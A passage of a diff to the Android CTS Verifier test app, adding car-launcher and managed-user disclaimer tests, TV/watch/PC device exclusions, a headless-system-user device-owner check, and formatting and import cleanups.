+ mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+ value);
}
}
@@ -1279,14 +1306,14 @@
Log.d(TAG, "startAdvertise");
}
AdvertiseData data = new AdvertiseData.Builder()
- .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1,2,3})
- .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
- .build();
+ .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1, 2, 3})
+ .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
+ .build();
AdvertiseSettings setting = new AdvertiseSettings.Builder()
- .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
- .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
- .setConnectable(true)
- .build();
+ .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+ .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+ .setConnectable(true)
+ .build();
mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
}
@@ -1299,7 +1326,7 @@
}
}
- private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+ private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback() {
@Override
public void onStartFailure(int errorCode) {
// Implementation for API Test.
@@ -1325,7 +1352,8 @@
}
};
- /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+ /*protected*/
+ static void dumpService(BluetoothGattService service, int level) {
String indent = "";
for (int i = 0; i < level; ++i) {
indent += " ";
@@ -1337,18 +1365,20 @@
for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
Log.d(TAG, indent + " UUID: " + ch.getUuid());
Log.d(TAG, indent + " properties: " + String.format("0x%02X", ch.getProperties()));
- Log.d(TAG, indent + " permissions: " + String.format("0x%02X", ch.getPermissions()));
+ Log.d(TAG,
+ indent + " permissions: " + String.format("0x%02X", ch.getPermissions()));
Log.d(TAG, indent + " [descriptors]");
for (BluetoothGattDescriptor d : ch.getDescriptors()) {
Log.d(TAG, indent + " UUID: " + d.getUuid());
- Log.d(TAG, indent + " permissions: " + String.format("0x%02X", d.getPermissions()));
+ Log.d(TAG, indent + " permissions: " + String.format("0x%02X",
+ d.getPermissions()));
}
}
if (service.getIncludedServices() != null) {
Log.d(TAG, indent + " [included services]");
for (BluetoothGattService s : service.getIncludedServices()) {
- dumpService(s, level+1);
+ dumpService(s, level + 1);
}
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
new file mode 100644
index 0000000..9fa9d7e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Test Car Launcher Behavior with respect to Car Service actions.
+ */
+public class CarLauncherTestActivity extends PassFailButtons.Activity {
+
+ @Override
+ protected void onCreate(Bundle savedState) {
+ super.onCreate(savedState);
+ setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null));
+ setPassFailButtonClickListeners();
+
+ // Sets the text in the dialog
+ setInfoResources(R.string.car_launcher_test,
+ R.string.car_launcher_test_desc, -1);
+
+ // Open the car launcher
+ findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> {
+ this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
+ });
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@
}
/**
+ * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+ */
+ public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+ return isAutomotive(context);
+ }
+
+ /**
* Checks whether the device supports file transfer.
*/
public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 218897f..257d6df 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -126,6 +126,7 @@
public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling";
public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY =
"set-required-password-complexity";
+ public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer";
public static final String EXTRA_USER_RESTRICTION =
"com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -435,14 +436,14 @@
PackageManager.DONT_KILL_APP);
} break;
case COMMAND_SET_ALWAYS_ON_VPN: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
false /* lockdownEnabled */);
} break;
case COMMAND_CLEAR_ALWAYS_ON_VPN: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
@@ -462,13 +463,13 @@
mDpm.setRecommendedGlobalProxy(mAdmin, null);
} break;
case COMMAND_INSTALL_CA_CERT: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
} break;
case COMMAND_CLEAR_CA_CERT: {
- if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+ if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
return;
}
mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
@@ -560,6 +561,7 @@
case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: {
int complexity = intent.getIntExtra(EXTRA_VALUE,
DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+ Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")");
mDpm.setRequiredPasswordComplexity(complexity);
}
}
@@ -583,6 +585,15 @@
return isIt;
}
+ /**
+ * Checks if the {@code packageName} is a device owner app, or a profile owner app in the
+ * headless system user mode.
+ */
+ private boolean isDeviceOwnerAppOrEquivalent(String packageName) {
+ return mDpm.isDeviceOwnerApp(packageName)
+ || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName));
+ }
+
private void installHelperPackage() throws Exception {
if (UserManager.isHeadlessSystemUserMode()) {
// App was already installed on user 0 (as instructed), so we just install it for the
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 44fb73e..865795d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -93,6 +93,8 @@
private static final String DISABLE_USB_DATA_SIGNALING_TEST_ID = "DISABLE_USB_DATA_SIGNALING";
private static final String SET_REQUIRED_PASSWORD_COMPLEXITY_ID =
"SET_REQUIRED_PASSWORD_COMPLEXITY";
+ private static final String ACTION_CONNECT_INPUT =
+ "com.google.android.intent.action.CONNECT_INPUT";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -346,7 +348,8 @@
UserManager.DISALLOW_CONFIG_BLUETOOTH, true)),
new ButtonInfo(
R.string.device_owner_settings_go,
- new Intent(Settings.ACTION_BLUETOOTH_SETTINGS)),
+ new Intent(Utils.isTV(this) ? ACTION_CONNECT_INPUT
+ : Settings.ACTION_BLUETOOTH_SETTINGS)),
new ButtonInfo(
R.string.device_owner_user_restriction_unset,
CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
@@ -355,7 +358,7 @@
}
// DISALLOW_USB_FILE_TRANSFER
- if (FeatureUtil.isUsbFileTransferSupported(this)) {
+ if (FeatureUtil.isUsbFileTransferSupported(this) && !Utils.isTV(this)) {
adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
R.string.device_owner_disallow_usb_file_transfer_test,
R.string.device_owner_disallow_usb_file_transfer_test_info,
@@ -390,9 +393,11 @@
}));
}
+ // Without PIN/Password watches don't have any lockscreen, so this policy isn't applicable
// setKeyguardDisabled
- if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)
- && Utils.isLockscreenSupported(this)) {
+ if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this) &&
+ Utils.isLockscreenSupported(this) &&
+ !packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
R.string.device_owner_disable_keyguard_test,
R.string.device_owner_disable_keyguard_test_info,
@@ -412,7 +417,7 @@
// setLockTaskFeatures
// TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
- if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) && !Utils.isTV(this)) {
final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID,
LOCK_TASK_UI_TEST_ID);
@@ -621,7 +626,8 @@
// removeDeviceOwner
adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID,
R.string.device_owner_remove_device_owner_test,
- R.string.device_owner_remove_device_owner_test_info,
+ Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv
+ : R.string.device_owner_remove_device_owner_test_info,
new ButtonInfo(
R.string.remove_device_owner_button,
createTearDownIntent())));
@@ -710,6 +716,7 @@
private Intent createSetRequiredPasswordComplexityIntent(int complexity) {
return new Intent(this, CommandReceiverActivity.class)
+ .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY)
.putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
index 4a4eae4..40eefea 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
@@ -240,7 +240,8 @@
// removeDeviceOwner
adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID,
R.string.device_owner_remove_device_owner_test,
- R.string.device_owner_remove_device_owner_test_info,
+ Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv
+ : R.string.device_owner_remove_device_owner_test_info,
new ButtonInfo(
R.string.remove_device_owner_button,
createTearDownIntent())));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index c18150e..7aa1eaa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -205,10 +205,10 @@
new ButtonInfo(R.string.enterprise_privacy_open_settings,
new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
new ButtonInfo(R.string.enterprise_privacy_finish,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
@@ -230,10 +230,10 @@
new ButtonInfo(R.string.enterprise_privacy_open_settings,
new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
new ButtonInfo(R.string.enterprise_privacy_install_cert,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
new ButtonInfo(R.string.enterprise_privacy_finish,
- buildCommandIntent(
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
if (Utils.isLockscreenSupported(this)) {
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
index d040526..41f6aad 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -40,11 +40,12 @@
import android.database.DataSetObserver;
import android.os.AsyncTask;
import android.os.Bundle;
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import android.util.Log;
import android.widget.Button;
import android.widget.Toast;
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
import com.android.cts.verifier.ArrayTestListAdapter;
import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
import com.android.cts.verifier.PassFailButtons;
@@ -126,7 +127,8 @@
}
private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
- if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
adapter.add(createSetLockTaskFeaturesTest(
TEST_ID_DEFAULT,
LOCK_TASK_FEATURE_NONE,
@@ -140,7 +142,8 @@
R.string.device_owner_lock_task_ui_system_info_test_info));
}
- if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
adapter.add(createSetLockTaskFeaturesTest(
TEST_ID_NOTIFICATIONS,
LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_NOTIFICATIONS,
@@ -148,7 +151,8 @@
R.string.device_owner_lock_task_ui_notifications_test_info));
}
- if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
adapter.add(createSetLockTaskFeaturesTest(
TEST_ID_HOME,
LOCK_TASK_FEATURE_HOME,
@@ -156,7 +160,8 @@
R.string.device_owner_lock_task_ui_home_test_info));
}
- if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
adapter.add(createSetLockTaskFeaturesTest(
TEST_ID_RECENTS,
LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_OVERVIEW,
@@ -164,7 +169,8 @@
R.string.device_owner_lock_task_ui_recents_test_info));
}
- if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)) {
adapter.add(createSetLockTaskFeaturesTest(
TEST_ID_GLOBAL_ACTIONS,
LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
@@ -173,6 +179,7 @@
}
if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ && !getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION)
&& getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN)) {
adapter.add(createSetLockTaskFeaturesTest(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 14ab277..6ddcf71 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -55,6 +55,7 @@
private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
+ private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -111,6 +112,19 @@
}
private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+ // Check managed user's new user disclaimer
+ if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) {
+ adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID,
+ R.string.check_new_user_disclaimer,
+ R.string.check_new_user_disclaimer_info,
+ new ButtonInfo[]{
+ new ButtonInfo(
+ R.string.device_owner_settings_go,
+ new Intent(Settings.ACTION_USER_SETTINGS)),
+ new ButtonInfo(R.string.enterprise_privacy_set_organization,
+ createSetOrganizationNameIntent())}));
+ }
+
adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
R.string.managed_user_check_managed_user_test,
new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@
adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
R.string.device_profile_owner_policy_transparency_test,
policyTransparencyTestIntent));
-
}
-
static TestListItem createTestItem(Activity activity, String id, int titleRes,
Intent intent) {
intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,9 @@
// general test for that. TODO: add a test API to do a real check for status bar support.
return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
+
+ private Intent createSetOrganizationNameIntent() {
+ return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+ .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
index 5fad20c..d8b659e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
@@ -158,4 +158,9 @@
return context.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
}
+
+ static boolean isTV(Context context) {
+ return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 795028e..e57d620 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -16,31 +16,15 @@
package com.android.cts.verifier.nfc.offhost;
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.DialogInterface;
import android.content.Intent;
-import android.content.IntentFilter;
import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
-import android.util.Log;
import android.widget.TextView;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-
import com.android.cts.verifier.nfc.hce.HceUtils;
public class UiccTransactionEvent1EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
private void initProcess() {
Bundle bundle = getIntent().getExtras();
- if(bundle != null){
+ if (bundle != null && getIntent().getAction() != null) {
byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
- if(transactionData != null){
+ if (transactionData != null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 34a418b..3f914c1f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -16,31 +16,15 @@
package com.android.cts.verifier.nfc.offhost;
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.DialogInterface;
import android.content.Intent;
-import android.content.IntentFilter;
import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
-import android.util.Log;
import android.widget.TextView;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-
import com.android.cts.verifier.nfc.hce.HceUtils;
public class UiccTransactionEvent2EmulatorActivity extends PassFailButtons.Activity {
@@ -106,9 +90,9 @@
private void initProcess() {
Bundle bundle = getIntent().getExtras();
- if(bundle != null){
+ if (bundle != null && getIntent().getAction() != null) {
byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
- if(transactionData != null){
+ if (transactionData != null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index 6055ac4..09c13b8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -16,31 +16,15 @@
package com.android.cts.verifier.nfc.offhost;
-import android.annotation.TargetApi;
-import android.app.Activity;
-import android.app.AlertDialog;
-import android.app.ProgressDialog;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.DialogInterface;
import android.content.Intent;
-import android.content.IntentFilter;
import android.nfc.NfcAdapter;
-import android.nfc.cardemulation.CardEmulation;
-import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
-import android.util.Log;
import android.widget.TextView;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-
import com.android.cts.verifier.nfc.hce.HceUtils;
public class UiccTransactionEvent3EmulatorActivity extends PassFailButtons.Activity {
@@ -105,9 +89,9 @@
private void initProcess() {
Bundle bundle = getIntent().getExtras();
- if(bundle != null){
+ if (bundle != null && getIntent().getAction() != null) {
byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
- if(transactionData != null){
+ if (transactionData != null) {
runOnUiThread(new Runnable() {
@Override
public void run() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 8acfcd5..6b31a79 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,8 @@
import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
import static android.content.Intent.ACTION_VIEW;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
+import static android.content.pm.PackageManager.FEATURE_PC;
import static android.view.View.GONE;
import static android.view.View.INVISIBLE;
import static android.view.View.VISIBLE;
@@ -183,9 +185,14 @@
//
// Expanded view appearance
//
- mTests.add(new PortraitAndLandscape());
+ // At the moment, PC devices do not support rotation
+ if (!getPackageManager().hasSystemFeature(FEATURE_PC)) {
+ mTests.add(new PortraitAndLandscape());
+ }
mTests.add(new ScrimBehindExpandedView());
- mTests.add(new ImeInsetsExpandedView());
+ if (getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS)) {
+ mTests.add(new ImeInsetsExpandedView());
+ }
mTests.add(new MinHeightExpandedView());
mTests.add(new MaxHeightExpandedView());
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
index 542fb36..f3e2680 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/RequesterTestActivity.java
@@ -15,10 +15,6 @@
*/
package com.android.cts.verifier.p2p;
-import java.util.Collection;
-import java.util.Timer;
-import java.util.TimerTask;
-
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
@@ -40,6 +36,10 @@
import com.android.cts.verifier.p2p.testcase.TestCase;
import com.android.cts.verifier.p2p.testcase.TestCase.TestCaseListener;
+import java.util.Collection;
+import java.util.Timer;
+import java.util.TimerTask;
+
/**
* A base class for requester test activity.
*
@@ -135,8 +135,8 @@
}
@Override
- protected void onResume() {
- super.onResume();
+ protected void onStart() {
+ super.onStart();
/*
* If the target device is NOT set, search targets and show
* the target device list on the dialog.
@@ -152,8 +152,8 @@
}
@Override
- protected void onPause() {
- super.onPause();
+ protected void onStop() {
+ super.onStop();
if (mTimer != null) {
mTimer.cancel();
mTimer = null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
index 39f0bf8..405d4be 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/ResponderTestActivity.java
@@ -101,8 +101,8 @@
}
@Override
- protected void onResume() {
- super.onResume();
+ protected void onStart() {
+ super.onStart();
mTestCase.start(this);
registerReceiver(mReceiver, mIntentFilter);
mP2pMgr.requestDeviceInfo(mChannel, wifiP2pDevice -> {
@@ -119,8 +119,8 @@
}
@Override
- protected void onPause() {
- super.onPause();
+ protected void onStop() {
+ super.onStop();
mTestCase.stop();
unregisterReceiver(mReceiver);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
index 8fb9e67..1b8bfc7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/ProtectedConfirmationTest.java
@@ -55,6 +55,8 @@
private static final String KEY_NAME = "my_confirmation_key";
